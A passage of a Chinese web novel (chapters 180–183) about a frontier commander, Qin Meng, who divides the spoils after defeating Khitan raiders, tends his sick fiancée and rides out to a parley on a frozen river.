收拢的战马成群,被射杀、重伤的马匹过百,轻伤的也差不多这个数。
铁鳞甲,皮甲,长短弓,刀枪等武器堆积如山
王铁山得知消息笑得合不拢嘴,然而,当了解到己方伤亡共超四十余人、轻重伤兵过百时,脸上的笑容收敛,对**的恨意又深一分。
东方泛起鱼肚白时,张富贵、周扬率领队伍凯旋,驱赶着大群战马,马背上驮满了战利品。
——这是他们沿途追击,找到**临时营地后突袭所得。
堡内军民目睹队伍凯旋,爆发出胜利的欢呼。
无独有偶,这一幕也发生在铁血军寨!
秦猛带队追杀那些逃窜的**兵后,接收战利品。
营地内粮草、牛皮帐篷等物资如山,最令人惊喜的是大群备用战马,秦猛沾着血污的脸上露出笑容,他立刻下令搜刮营地,搬运战利品。
北方是苦寒之地,许多人都穷怕了。
将士们最擅长打扫战场,凡是有用的东西都带上。
当队伍车拉马载,浩浩荡荡地返回时却铁血军寨军民发现河面上臃肿的队伍,欢呼着来迎……
当朝阳完全升起时,边塞战事渐息。
双涡堡,铁血军寨,护河堡先后击溃**,取得胜利,三处战场都在紧张而有序地打扫战场。
阵亡将士被妥善安葬,伤员得到救治,战利品被分类清点。
尽管伤亡不可避免,但这在边陲是**以为常的事。
这场三线胜利无疑大大提振了大周军队的士气。
“弟兄们,**不可怕,照样是白刀子进去红刀子出来。”秦猛率队归来后,开始鼓舞士气。
他策马游走在堡前门,后门,给军民灌输思想:“对付朋友,我们有美酒,对付豺狼,我们有钢刀。
草原上的狗**屡屡来犯,无非是以为大周衰弱了,以为我儿家儿郎好欺负。那就挺起胸膛,拿起武器,不死不休,杀到他们胆寒为止。”
“杀,杀**!”王善和**等亲兵队伍呐喊着。
打扫战场,处理尸体的军民热血沸腾,杀声如雷。
牛五带着老兵把少青队,女子队的成员叫来,把刀子塞在他们手上,不仅教导他们从哪里捅进去比较致命,又让他们割多少**脑袋……
秦猛立马于军寨的高坡处,远眺逐渐明亮的东方。
他心中已有下一步计划。
目前自己兵力不足,只能严阵以待,以防守为主。
他轻声自语,目光坚定如铁:“今年**死得有点多,估计畏惧了,明年冬季或许是决战。”
“萧铁鹰,得知消息的你,是否心疼?”
第180章 忧与喜
黎明前的黑暗渐渐褪去,拒马河北岸的草原上,寒意刺骨。
契丹主力大军如同一条苏醒的巨**,开始缓缓蠕动前行。
旌旗招展,刀枪映着微熹的晨光。三千多骑兵浩浩荡荡,马蹄声沉闷如雷,踏碎了草原的寂静。
这支队伍气势惊人,其中大半骑兵皆披挂重甲,人马皆覆铁鳞,正是契丹精锐“铁林军”,甲胄厚重,透着一股令人窒息的压迫感。
大军前方,酋帅萧铁鹰在一众剽悍亲卫的簇拥下,策马缓行。他身穿重甲,面容粗犷,眼神锐利如鹰,此刻却眉头紧锁,忧心忡忡。
从昨夜至今,派往南岸三处戍堡的兵马竟无一支传回预期的捷报,甚至连例行的哨探回报也中断了。
这种反常的死寂让他心中不安,一种不祥的预感涌上心头。
“加快速度!”萧铁鹰沉声下令,声音带着一丝不易察觉的焦躁。大军行进的速度提升了些许,但带着大量粮草辎重,终究快不了多少。
就在大军行进途中,前方斥候忽然带来几个狼狈不堪的身影。
那几人衣甲破损,满脸血污,跑得气喘吁吁,见到主力大军如同见了救星,连滚带爬地扑到萧铁鹰马前,未语先嚎:“酋帅!完了,全完了啊!”
萧铁鹰瞳孔一缩,认出其中一人正是千夫长哈达尔麾下的百夫长。
他心中猛地一沉,急忙勒住战马,俯身喝问:“哭什么!抬起头来说话!南岸情况如何?哈达尔呢?”
那溃兵抬起头,脸上混杂着恐惧和悲痛,断断续续地哭诉:“酋帅……那个戍堡邪门得很!
里面兵力出奇的多,守军加上埋伏的骑兵,绝对不下千人!哈达尔大人他按计划,把敌人引诱出堡……他刚率队开始袭杀就中了埋伏,
寨墙上箭矢、滚木礌石像雨点一样,还有会**的火罐子!我们……我们的人马根本冲不进去,死伤惨重……哈达尔大人被敌军将领缠住,激战,结果…结果被狼牙棍给砸**……”
萧铁鹰闻言,脸色瞬间变得难看至极。铁血军寨的情报严重失误!
他正待细问,又有斥候引着十多个丢盔弃甲的残兵跑来,看其装束,竟是攻击护河堡的德隆部。
“酋帅!”为首的残兵什长跪地痛哭,“我们……我们眼看就要攻破护河堡了,谁知……
谁知突然从背后杀出两路周军援兵!德隆大当户在乱军之中,被敌将拦截,已经……已经战**!兄弟们腹背受敌,彻底溃散了……”
接二连三的噩耗,如同重锤般狠狠砸在萧铁鹰的心头。哈达尔部千夫长在内近乎全军覆没。
德隆部受挫,连大当户都战**!
他强压住翻涌的气血,脸色阴沉得几乎要滴出水来,从牙缝里挤出一句:“废物!都是废物!”
他懒得处罚这些逃回来的残兵,挥挥手让他们归队休息,目光再次投向界河南岸那朦胧的轮廓。
两路人马尽数折损a现在,他只能将最后的希望寄托在袭击铁血军寨的本部精锐,以及他最为倚重的心腹爱将萧克率领的铁林军身上了。
或许,他们能创造奇迹?
然而,老天爷似乎执意要击碎他最后的幻想。
队伍又前行了不到十里,前方再次出现十多个更加狼狈、如同惊弓之鸟的溃兵。
他们见到萧铁鹰的帅旗,如同抓住了最后的稻草,哭喊着奔来。
萧铁鹰看着这群人失魂落魄的模样,心里那点侥幸瞬间荡然无存,不祥的预感攀升至顶点。
他几乎不用问,就能猜到发生了什么。
果然,溃兵带来的消息彻底点燃了他的怒火:“酋帅!铁血军寨早有准备,寨外遍布陷阱,寨墙上**箭犀利,还有那种能瞬间燃起大火的神秘武器!
萧千夫长勇猛冲杀,但…但陷入重围,生死不明!后来,周军趁势追杀,一举摧毁营地,铁林军的兄弟们……弟兄们……怕是全军覆没了啊!”
“什么?铁林军…全军覆没?萧克他…”
萧铁鹰猛地攥紧了马鞭,指节因用力而发白。
他赖以成名的铁林精锐,他悉心培养的子侄辈骁将萧克,竟然折在了一个小小的军寨手里?
一夜之间,三路兵马尽墨,损失超过两千精锐。
这是他从军以来,征战至今,从未有过的惨败!
前所未有的暴怒瞬间冲垮了他一贯的沉稳冷静,额头上青筋暴起,双目赤红,咬牙切齿的声音如同野兽低吼:“加速!全军加速行军!
正午之前,必须抵达界河畔!延误者,掉队者,杀无赦!”
说完,这位素以狡黠沉稳著称的契丹酋帅再也按捺不住,猛地一夹马腹,一马当先,带着亲卫队如同旋风般冲向南方。
身后的大军见状,只得拼命催促步卒和粮草车队,努力跟上主帅疯狂的速度,队伍行进节奏瞬间变得混乱而急促,一股肃杀之气弥漫开来。
若是秦猛有足够的生力军,他就可以埋伏在必经之路上,必定能够重创,甚至能够歼灭之!
……
日上三竿,阳光驱散了清晨的寒意。
堡寨内虽然一片忙碌,清扫战场、修补工事、安置伤员,但军民脸上大多带着胜利后的喜悦。
军寨官署内,秦猛已洗漱完毕,换上了一身干净的戎装,虽面带疲惫,但眼神依旧锐利。
他大马金刀地端坐在主位上。
左右两侧,分坐着此次参与三线作战的主要将领。
左手边是外援降临将领,亲卫营统领赵平、副统领周扬,南河城寨的副将李雄、吴霖等。
右手边则是秦猛的嫡系班底:秦大壮、张富贵、李山、刘铁柱、常勇等人。
护河堡,双涡堡,赵平,张富贵将防务交接好,便率队快马加鞭,押送着大批战利品返回。
吴霖安排妥当后,也一同前来拜见。
刚取得一场大胜,众人畅谈着战事,气氛热烈。
这时,负责清点的诸葛风和李
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恒拿着初步统计好的清单走进来。
“大人,各位将军,”诸葛风声音带着抑制不住的兴奋,“缴获初步清点完毕,其丰远超预期!”
他首先汇报最重要的战马缴获:
护河堡战场,追击端掉**营地,共缴获完好战马八百余匹。
双涡堡那边战果更大,超过千匹。
作为主战场的铁血军寨更是惊人,光是接收**营的备用马和战场上收拢的,就有一千五百多匹。”
诸葛风顿了顿,跳过青蜉马没说,翻页继续汇报下一项:“此外,从**兵身上搜刮以及营地带回的金银饰品、初步折算约有三万两上下。
至于兵甲器械,”诸葛风转头看向边上的李恒。
李恒接过话头,脸上也放光,“铁鳞甲、皮甲、弓**、刀枪,皮褥等堆积如山,尚需时日仔细清点分类,但绝对是一笔巨大的补充!”
这确实是一次前所未有的大丰收!
厅内众将闻言,脸上都露出笑容,低声交谈,满是兴奋。
接下来,便是敏感又实际的战利品分配问题。
赵平是个爽利人,率先开口,声音洪亮:“要我说,咱同属飞虎卫兄弟营,也别扯皮了。
这次三线大捷,首功当属秦知寨料敌机先,筹划得当,才能抓住战机,打了**一个措手不及。
依我看,所有缴获分成十份,铁血军寨出力最多,独得六成!我亲卫营和磐石营各得一成半!余下一成拿出来,犒赏三军有功将士,如何?”
秦大壮、张富贵,李山等铁血军寨将领闻言,对此次战利品自家拿大头,显然没有意见。
周扬也立刻表态:“赵统领所言极是,我没意见!”
南河城寨的吴霖嘴唇动了动,似乎觉得一成半相对于他们的付出和伤亡略少,但旁边的李雄悄悄拉了他一下,微微摇头,随即率先应道。
“可以,就按赵统领说的办,很公平。”
他们毕竟是客军,一成半,战马近五百匹,金银四千多两c能分得如此多的好处,已是意外之喜。
端坐主位上的秦猛却摇了摇头,沉声道:“赵大哥你们深明大义,秦某感激。但亲卫营和磐石营的弟兄们皆是奋勇搏杀,才有此大捷。
一成半,还是太少了些。”
他目光扫过众人,朗声道:“这样,其他的缴获按赵兄弟说的比例分配。马匹方面,除了你们应得的,每营我再额外拨给三百匹好马!”
“真的?”吴霖失声惊呼,三百匹优质的草原战马,对任何一营军队都是极大的实力提升!
“自然是真的。”秦猛脸上露出一丝略带着点精明的笑容,“而且我这军寨如今马匹多得是。你们若还需要更多,可以用粮食、铁料、或者其它军械来换,我什么都要,价格好商量。”
他这俨然是一副“发战争财”的架势,但此刻众人纷纷说好,反而觉得这位秦知寨越发实在。
战利品分配商定,皆大欢喜。
第181章 铁血与柔情
“诸位,安静!”秦猛轻咳一声,朝众人压了压手。
很快,官署内便安静下来。
秦猛环视众将,语气变得严肃:“算上前番几次胜仗,连战连捷,斩首逾四千,缴获无数。
首功在于**骄狂大意,其次在于我等上下用命,诸位的功劳,军功簿上都会一一记录。”
斩首数千!众将挺直腰板,空气洋溢着自豪与喜悦。不仅帅司嘉奖,上报朝廷,必有封赏!
但秦猛话锋一转,神色凝重:“然而,三线大捷固然可喜可贺,切不可被胜利冲昏头脑!
三地军民拢共折损过百,受伤者更多。这还是早有准备,突然袭击的结果,可见**的战力不容小觑,尤其是他们的装备,还有重骑兵。”
“哎,我大周国力强盛时,这些蛮夷俯首称臣,摇尾乞怜。如今,边陲游牧民族,终成大患!”秦猛面色凝重,说出边陲低沉百姓的心声。
官署内,众将无不脸色阴沉,凡是与**有血海深仇的,更是双拳攥紧,眼里充满了恨意。
“故而不能因打了胜仗就骄傲,反而得更加谨慎。”秦猛边说边起身,走到简易的沙盘边上。
“根据俘虏口供和侦察情报,契丹酋帅萧铁鹰亲率的主力护送辎重赶来,至少三千精锐骑兵。
其中大半是精锐的铁林军,正扑向我军寨!这才是真正的考验,是决定边境安危的硬仗!”
他目光如电,扫过每一张脸:“望诸位回去后,督促部下抓紧时间休整、备战,修补工事,检查军械,万万不可因小胜而大意松懈!”
“另外透露,此次拿出一成缴获折算为金银,田地奖励,阵亡者抚恤事宜等,来鼓舞士气。”
就着抚恤,奖励讨论,官署内的军事会议结束后,诸位将领纷纷起身,抱拳行礼,随后鱼贯而出。
木门开合,将冬日的寒气卷入弥漫着严肃气息的厅内。
秦猛独自站在沙盘前,目光依旧凝视着那些代表山川险隘与敌军动向的标识,陷入沉思。
众将返回各自驻地后,迅速将官署的决议传达下去。
“斩首一级,赏银十两!”
“作战英勇者,另分田,擢升!”
“阵亡弟兄,抚恤百贯,其家小衣食住行由军寨供养,子女成人前,每月皆有米粮供给!”
这消息公布于众时,如同在滚油中滴入冷水,瞬间炸开。军寨将士,外援兵卒都沸腾了。
校场上、营房里、各作坊等地,到处是兴奋的议论。
十两银子,足以让一户寻常农家大半年衣食无忧,更别提还有实打实的粮食、田亩赏赐。
对于许多挣扎在温饱线上的军卒和他们的家庭而言,这不仅是荣耀,更是实实在在的生机。
只要杀**,就有钱粮拿。
即便是不幸战死,妻儿老小有人照料。
一股昂扬的斗志在军民心中悄然滋生、蔓延。
李雄并未立即动身返回南河城寨复命。
他仔细清点此次缴获,将完好可用的战马、精良的武器装备,交由队将王双护送回城寨。至于那些死马、破损装备等杂物也懒得要了。
吴霖明白护河堡位置关键,不容有失,向秦能告辞,点齐亲卫队,便风风火火地率队离去。
而张富贵,先回了一趟家,抱了抱咿呀学语的幼子,又叮嘱了婆娘几句,这才心满意足地带着一小队亲随,快马加鞭赶回双涡堡坐镇。
一路上,他脸上的笑容几乎没断过,嘴都快咧到了耳根。
秦猛私下透露的消息,让他心头火热。凭此次战功,擢升副将,正七品的武职官身几乎是板上钉钉!
想到老张家几代屠户,如今竟能出个堂堂朝廷命官,光宗耀祖,他只觉得浑身充满了干劲,恨不得飞回双涡堡,整军备战,再立新功。
秦猛送走众将,并未停歇。
他先找到秦大壮、李山、刘铁柱等心腹将领,面色沉肃地交代:“抓紧时间让弟兄们休整。但备战不可松懈,工事修补、军械检查,务必细致入微。
“真正的考验,还在后头。”
“是!”几人凛然领命,依言而行。
秦猛这才稍稍放心,转身便朝着寨内军医局走去。
医疗所,已经一分为二。
新设立的军医局位于寨南方向,由几排新修缮的铺屋组成,地方宽敞,紧挨着附寨东墙,靠近林带,地方不仅偏僻,而且空气比较好……
军医局,弥漫着浓重的草药味和淡淡的血腥气。
伤兵们或躺或坐,呻吟声、交谈声低低回响。
秦猛的出现,让略显压抑的气氛为之一振。
他放轻脚步,逐一走到伤床前,俯身查看伤势,温言询问。
遇到伤势沉重的,他更是驻足良久,轻轻握住对方的手,将官署刚刚议定的丰厚抚恤方案清晰告知。
“兄弟,放心养伤,你的家小,军寨养一辈子。”
朴实却重如泰山的话语,让那些因伤残而对未来充满恐惧的汉子们红了眼眶,情绪渐渐安定下来。
秦猛细心地将干净布条、清水递给忙碌的护工,目光却在人群中搜寻了一圈,微微蹙眉。
他并未看到那个熟悉的身影。
拉住一位正端着药碗的妇人询问
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,才得知陈月娘这两日染了风寒,怕过了病气给伤员。
今日便没来军医局帮忙。
“唉,我这脑子!”秦猛闻言,脸上顿时浮现愧疚之色,忍不住抬手轻轻给了自己额角一下。
连日忙着打仗,竟疏忽了对自家人的关心。
他立刻转身,带着牛五等亲兵快步返回官署。
推开小院门,正屋窗户透出的昏黄光线中,一个纤细的身影正倚靠在窗边,正是陈月娘。
她身上裹着一件碎花棉袄,脸色透着几分不健康的苍白,不时掩口发出几声低低的咳嗽。
然而,她却未停歇,就着窗外透进的微弱天光,正一针一线地缝补着秦猛平日训练的旧号衣。
针脚细密而匀称,神情专注而温柔。
看到这一幕,秦猛心头最柔软的地方仿佛被狠狠触动了,他鼻子发酸,既心疼,又有点歉疚。
他大步走进屋,带起一阵寒意。
陈月娘闻声抬头,见是秦猛,苍白的脸上瞬间掠过一丝惊喜,随即又想掩饰自己的病容,忙要起身。
“快坐着,别起来!”秦猛急忙上前,伸手轻轻按住她的肩膀,触手感觉柔弱,不由更加怜惜。
秦猛在女人身边坐下,仔细端详她的脸色,语气里满是自责:“早上走得急,也没细看……你这病,何时加重的?可请大夫瞧过了?药吃了没?”
一连串的发问,透着不加掩饰的关切。
陈月娘被他看得有些不好意思,微微低下头,声如蚊蚋:“猛子哥,不碍事的,就是前两日夜里看书晚了,可能着了点风寒,喝过姜汤了。”
“姜汤顶什么用?”
秦猛语气带着几分不容置疑的责备,更多的是心疼,“小芸那丫头呢?怎不好生照顾你?”
“她呀,”陈月娘抬起眼,嘴角露出一丝无奈又宠溺的笑意,“带着小艳,去打谷场那边教导那群女子练枪棒了。这丫头,就喜好这个。”
“这疯丫头,整天舞枪弄棒,没个姑娘家的样子。”秦猛想到妹妹秦小芸性子越发野了不由得头痛。
陈月娘却柔声宽慰道:“猛子哥,莫要这么说小芸。
咱们老秦家,祖上就是将门之后,小芸这般,也是传承家风。
况且这乱世,女子有些武艺傍身,也是好事。”
她的话语温和,让秦猛心头的些许无奈也消散了。
他叹了口气,没再纠缠此事,而是站起身:“你且歇着,我给你弄点吃的来,去去就回。”
说完,秦猛拿走陈月娘手中衣物,给她掖好被褥,转身出了屋子,径直朝着院角的伙房走去。
第182章 温情未冷,敌号骤催营
这间小伙房虽小,却被陈月娘收拾得异常干净利落。
灶台擦得不见半点油污,碗筷炊具各归其位,连柴火都摞得整齐,处处显露出女主人的勤勉细心。
秦猛决定亲手给病中的未婚妻弄点像样的吃食。
牛五等几名亲兵下意识想来烧火做饭,却被他抬手制止:“你们烧火打下手,我自己弄。”
很快,伙房里响起锅碗瓢盆的声音。
秦猛把新鲜枇杷叶洗干净,放入陶瓮中添水,转身从橱柜里翻出小半块老红糖,投入瓮中。
陶瓮置于小灶之上,缓缓熬煮起来——这是为月娘准备的驱寒润肺糖水,能让她身子舒服些。
随后秦猛挽起袖子,熟练地淘米、切肉焯水,动作麻利地将食材下锅,熬煮出软烂喷香的肉粥。
接着,他从瓦罐里取出几个鸡蛋,念及月娘口味清淡、不喜油腻,只往热锅里抹了薄薄一层油,再在灶边小心磕开,将蛋液缓缓倒入。
很快,煎蛋的香气便弥漫在狭小的伙房里。
灶火摇曳,映照着秦猛棱角分明的脸庞,往日里那股肃杀之气被罕见的温和与专注取代。
正当秦猛掂动锅铲反复轻翻煎蛋,力求煎出外焦里嫩的口感时,一阵急促的脚步声由远及近。
原来,是诸葛风因急事返回官署,途经院中时瞧见伙房内忙碌的熟悉身影,先是愕然,随即眉头微皱,三步并作两步赶来。
他闯入伙房,语气里带着读书人特有的不赞同:“哎呀呀,大人,您贵为知寨官、飞虎卫正将!
乃是朝廷命官,岂能屈尊亲入庖厨?此等琐事,交由亲兵处置,或是唤个婆子来做便是!”
他微微拱手,引经据典地苦劝:“古人云‘君子远庖厨,大人不应涉足琐碎事务,当以军国大事为重……”
秦猛专注于手中活计,闻言头也没抬。
他一边用铲子轻拍煎蛋使其受热均匀,听着锅里油脂“滋滋”作响,一边摇头轻笑,反驳:
“子壑,我秦猛本就不是文人,也自认为不是君子。不过是个粗莽武夫,没那么多讲究,不怕这些。”
诸葛风面露忧色:“可大人您现在身份尊贵,此举若传扬出去,恐惹人非议、有损威仪啊……”
“屁的尊贵,我就是个丘八。”
“大人,您不可妄自菲薄……”诸葛风还想再劝。
“子壑,”秦猛这次抬起头,目光平静却坚定地看向诸葛风:“你说的‘君子远庖厨’,在我看来就是谬论,是读书人,把自己给读迂腐了。”
诸葛风闻言一怔,欲言又止,显然没料到秦猛会直接否定圣贤之言。
秦猛将煎得恰到好处的鸡蛋盛入盘中,语气渐沉:“你想想,若掌权者连一碗粮米面能做多少饭食、炒一盘菜要放几撮盐都不清楚。
甚至不知治下百姓日常吃什么、能吃几分饱。那他凭什么坐在高堂之上,空谈民生疾苦?又有什么资格指手画脚,自诩为合格的掌权者?”
诸葛风张了张嘴,一时无言以对。
他细细咀嚼这番话,虽直白朴素,却藏着深刻道理,与平日所学截然不同,却又无从反驳。
秦猛见他不语,索性继续说道,手下也没闲着,已然开始清洗锅具:“古人的话,未必全对。
许多事,唯有实践方能出真知。
自己亲手做过、真正了解了,才能心中有数。大是大非时,手底下的人也无法轻易哄骗蒙蔽。”
他顿了顿,目光望向窗外忙碌的军寨,语气愈发坚定:“庖厨之事涉及更广,等明年开春、局势稍稳,我还要亲自带军卒们下地开荒种田。
让他们也亲身感受,这一粥一饭、盘中之餐,究竟是怎样得来,‘粒粒皆辛苦’,来之不易。
唯有如此,他们才能真正明白,手中刀枪的职责,不只是杀敌立功,更是守护这来之不易的家园,护佑一方百姓安居乐业,吃饱穿暖。”
“呃……”诸葛风浑身一震,如遭雷击。秦猛这番朴实无华的话语,竟字字千钧、振聋发聩。
他再次望向眼前这位年轻的知寨官时,与以往迥然不同,火光映照下的身影陡然高大起来!
——对方不仅是骁勇善战的虎将,言行间更藏着通透的为政处世之道,远非寻常武夫或腐儒可比。
他心中原本那点“有失身份”的芥蒂瞬间消散,取而代之的,是由衷的钦佩与深深的深思。
“这种人值得自己追随,”诸葛风首次有了这个想法。与秦猛这番关于“庖厨”与“治道”的简短对话,也如一颗种子般,悄然植入了心田。
当秦猛端着热气腾腾的肉粥、煎蛋和那碗深褐色的枇杷红糖水回到屋里时,陈月娘怔住了。
她看着眼前这个在乱军中厮杀、令敌人闻风丧胆的男人,此刻却像个笨拙又细心的普通农家汉,为她张罗着这些琐碎吃食,鼻尖一酸,眼眶瞬间就红了。
“快,趁热吃点儿。”秦猛将木托盘放在她身边的矮几上,语气带着些许催促,又有些不自然。
“这枇杷糖水也喝了,发发汗,咳疾能好得快些。”
陈月娘低下头,用微不可闻的声音“嗯”了一下,拿起汤匙,小口小口地吃着肉粥。
粥的温度恰到好处,肉香混合着米香,暖流从喉间一直蔓延到四肢百骸。
那份煎蛋,也火候正好,是她喜欢的熟度。
她吃着,眼泪却忍不住扑簌簌地掉了下来,滴落在碗里。
“呃……怎么还哭上了?”秦猛顿时有些手足无措,“月娘,是哪里不舒服?还是不合胃口?”
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>陈月娘连忙摇头,抬起泪眼朦胧的脸,声音哽咽:“没有……很好吃……就是,就是觉得……猛子哥你对我太好了……”
她吸了吸鼻子,像是要驱散这过于柔软的气氛,岔开话题道:“这些天杀的**,年节都不让人安生,总是来劫掠**,真是坏透了!”
话语里,带着对侵略者切齿的恨,更藏着一丝不易察觉的、对即将再次出征的心上人的深深忧虑。
秦猛如何听不出她的弦外之音?
他心中一片温软,坐在她身旁,故作轻松地笑了笑,大手一挥,语气充满了强大的自信。
“月娘,别担心。他们来,咱们就打回去!上次能杀得他们丢盔弃甲,这次照样让他们有来无回!你安心在家里养病,等我的捷报。”
他的笑容和话语,像是有种奇特的魔力,驱散了陈月娘心头的阴霾。
她看着秦猛坚定的眼神,感受着他话语里的力量,那份担忧渐渐被一种莫名的信任所取代。
陈月娘轻轻点头,苍白的脸上终于泛起一丝红晕,低声道:“嗯,我信猛子哥。你…你一定要小心。”
屋内烛火摇曳,映照着一对即将面临分别的年轻人。
难得的温情在硝烟的间隙里静静流淌,暂时掩盖了外面的肃杀之气。
然而,这温馨的时刻并未持续太久。
就在秦猛看着陈月娘慢慢喝下那碗枇杷糖水,刚想再嘱咐她几句时——
“呜——呜——呜——”
低沉、凄厉、穿透力极强的号角声,毫无预兆地,如同冰冷的铁锥,猛然刺破了军寨短暂的宁静!
一声紧接着一声,连绵不绝,是从前沿燧堡发出的最高敌情警报!
这声音代表着,大规模敌军出现,已经迫近!
秦猛脸上的温和瞬间消失殆尽,取而代之的是军人本能的锐利与冷峻。
他猛地站起身。
陈月娘也被这突如其来的号角惊得手一颤,碗里的糖水晃了出来。
她下意识地伸手抓住秦猛的衣角,眼中满是惊慌与不舍:“猛子哥,你…你…我等你回家。”
秦猛回头,看到她眼中的担忧,心下一软,用力握了握她冰凉的手,语气沉稳,安慰道。
“月娘,你放心,这场仗打不起来的,至少今年冬季打不起来,你在家好好休息,等我回来。”
说完,他毅然抽出手,转身大步流星地向外走去。
一出门,秦猛脸上残存的温柔尽数化为凛冽的杀意,一边走一边骂骂咧咧:“直娘贼!这群狗**,没个消停,真是找死都不看黄历!”
早已在署外集结待命的牛五等亲兵立刻牵马迎上。
秦猛翻身上马,一扯缰绳,踏雪乌骓打了个响鼻,撒开四蹄,便朝号角声响的方向疾驰而去。
第183章 敌兵至,冰河相会
烽燧堡急促的号角声让铁血军寨变得沸腾起来。人人备战,马蹄声急促,踏碎了沿途的平静。
“**,这群狗杂碎,又来触霉头!”
“是咱们杀得太狠,对方来报复了呗!”
“这群番狗,真是阴魂不散!”
李山、刘铁柱、常勇等将领闻讯赶往堡寨前门,中途不期而遇。几人脸上都带着从梦中被惊扰的怒意,一边策马奔行,一边骂不绝口。
见到秦猛带队赶来,众人纷纷闭嘴,如同有了主心骨,抱拳喊了声“将军”,拍马聚拢而来。
“大人,看这动静,来者不善啊!”李山沉声道。
秦猛勒马慢行,嗤笑一声:“哼,鞑虏什么时候善良过?来得正好,省得咱们等他们来。”
他猛地一扬马鞭,指向界河方向:“诸位,随我去河畔,瞧瞧这位萧酋帅,先后败了几场,折了这么多本钱后,还能给咱们演出什么好戏!”
“到时,咱给他来一出好戏!”
说罢,秦猛一夹马腹,一马当先,朝着寨门方向疾驰。
众将轰然应诺,胸中战意被瞬间点燃,纷纷打马紧随。
午时过后,暖阳开始偏离正空。
呼呼寒风呼啸,温暖的阳光却无法驱散北疆的寒意。
秦猛带队抵达拒马河畔时,驻扎在寨外军营地的赵平、周扬、李雄三人也带着队伍赶来汇合。
众人立马高坡,望向河对岸。
——只见草原之上,黑压压的骑兵阵列如同乌云盖顶,铁甲在冬日稀薄的阳光下泛着冷冽的寒光。
其中尤其引人注目的是中军位置的大群铁甲重骑兵,人马皆披重甲,兵刃森然,旗帜飘扬。
一股大军压境的沉重压迫感扑面而来。
“人数至少三千。”赵平微微皱眉,语气中带着一丝担忧,“契丹接连折损三四千人,惨败多场,此番卷土重来,必是舍不得吞下败果,欲图报复。”
“没错,这些**报复心极强,吃了亏肯定不会善罢甘休。”周扬、李雄等将领纷纷点头附和。
说话间,他们目光最终都投向了主心骨秦猛。
“秦知寨,不知你有何高见?”
秦猛眯起眼,冷静地眺望着草原上的骑兵队列和布局,嗤笑一声:“萧铁鹰此人,凶悍有余,韬略不足。看了几本兵书,就以为自己会打仗,实际上,改变不了他蛮夷拉胯的本质。”
“你们看**急行军而来,人、马在大口喘气。若非我军疲惫,或中途伏击,或果断出击,必定能将对方杀得大败,岂容他们这般耀武扬威?”
秦猛没看到对面有掩体,防御工事等,一边实话实说,一边唉声叹气:“就这么个半桶水晃荡的东西,也闯出偌大名声,真是没天理。”
萧铁鹰拉胯?赵平,周扬,李雄等人脸颊抽搐。
谁不知道这契丹伏弗郁部酋帅萧铁鹰在边塞的凶名,这些年不知有多少大周戍堡被他摧毁。
乃是并州许多地方边民的噩梦!
也只有这位秦知寨敢这么说,且有资格这么说。毕竟这短短时间之内,萧酋帅只有吃瘪的份。
秦猛可没有管其他人的想法,自顾自地说着:“萧铁鹰已连吃败仗,已然把我等当做劲敌。
在没摸清我军虚实之前,绝不会贸然发动总攻。依我看,今日之举最多派人试探,虚张声势一番。”
他环视身旁的秦大壮、李山等部将,苦口婆心地叮嘱:“兵法云,知己知彼,百战不殆。
要学会站在敌人的角度思考。若我是他,必会先派人打个招呼,一来摸摸敌军的底细,二来也好借机提一提交换俘虏之事,挽回些颜面。”
话音未落,烽燧堡方向再次响起短促的号角声。
只见契丹军阵中,三名骑兵举着旗帜奔出,速度不快,不断挥舞着旗帜。
——这正是两军对峙时,派遣特使的通用礼节。
这一下,赵平、周扬、李雄等人齐刷刷地看向秦猛,眼神中充满了惊诧与佩服。
“看我作甚?我只是随口一说,这厮竟真就来了?”秦猛翻了个白眼,表面一副满不在乎的样子,心中却更确信今冬大规模决战的可能性已降低。
但他立刻告诫自己,决不能松懈,除非是赵将军赶来,或等到大雪封路,契丹彻底退兵。
那几名契丹骑兵在距周军阵前两百步处勒马,用生硬的汉话喊道:“大周诸位莫要误会!
我等乃伏弗郁部酋帅萧铁鹰所遣信使,有书信转交秦猛秦知寨!”
喊罢,其中一人弯弓搭箭,将一支绑着信笺的箭矢“嗖”地射了过来,深深钉入河畔冰面上
完成使命后,几名信使如同惊弓之鸟,迅速调转马头狂奔而回。
秦猛看得分明,他们脸上带着难以掩饰的惊慌。
显然,昨夜三支精锐几乎全军覆没的消息,已在契丹军中传开,引发了普遍的恐慌情绪。
吏方军卒越过雪墙,确认无陷阱,才将箭矢连同书信呈上。秦猛展开一看,果然如他所料。
信上,萧铁鹰先是自吹自擂了一番过往战绩,声称自己征战多年,从未遭遇如昨夜这般挫败。
对能让其连吃大亏的指挥将领心生“敬仰”。故想邀于冰河之上,当面一晤,“结识豪杰”。
“秦知寨,这会面定然是敌人奸计,是否要赴约?”
赵平、周扬等人再次将目光聚焦在秦猛身上,等待他的决断。
“
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去!为何不去?”秦猛略一沉吟,便斩钉截铁地说道,“蛮子邀请,我们不去,还不被对方添油加醋,到处宣扬说我们大周儿郎怕了他们?”
“没错!”
“是这么个理。”赵平,周扬等将领纷纷点头称是。若在麾下士卒面前胆怯,是会影响士气。
“哼,这是一招阳谋。”秦猛眼神冰冷,恶狠狠道:“这老小偷倒是鸡贼,丝毫不提俘虏的事。那咱提,将俘虏处置掉,留在寨中浪费粮食。”
“哦,秦知寨打算换俘虏?”赵平,李雄来了兴趣。
“那是,咱们就当面说,他要是不赎,就会影响军心,谁敢玩命上前?要是赎了,正好宰肥羊。”
秦猛摩挲着下巴上的胡茬,眼中闪过算计之光。
这些俘虏除了主寨之战擒获的萧克等二十来人。其余多是护河堡、双涡堡两场战役所获,全被赵平,周扬当作战利品集中送到了军寨。
可把负责后勤的老保长王槐气得够呛,没少抱怨这些“光吃饭不干活的瘪犊子送来有什么用”。
己方这边既然决定,那秦猛派人去通告对面。袁飞自告奋勇,阮二,阮二兄弟随行策应。
很快,三人耀武扬威后,转告完消息,便策马折返。秦猛把头盔扣在亲卫队将牛五的头上……
‘冰河会面’的场面极具戏剧性。
双方主将各带几十人,周军越过雪墙,**出了草原,踏过封冻的河面在河心相隔百余步勒马对峙。
“猛子,就是他,你爹当年……”随行的秦大壮扫视对面来人,突然瞳孔剧烈收缩,指着一个彪形大汉,对身边并行的骑兵,低声说着。
“嗯?是冤家路窄!”秦猛面甲下的眼神变得凌厉。盯着对面那条壮汉,握紧了手中的铁枪。
他扮作普通的护卫,而前面领队——
“不对,你不是秦知寨?”而此时,对面队伍中有多人盯着骑着黑马领队的‘秦猛’,脱口而出。
“哼,秦知寨?看来你们得到了秦知寨的画像啊?”亲兵队长牛五冷笑连连,略带嘲讽地说道。
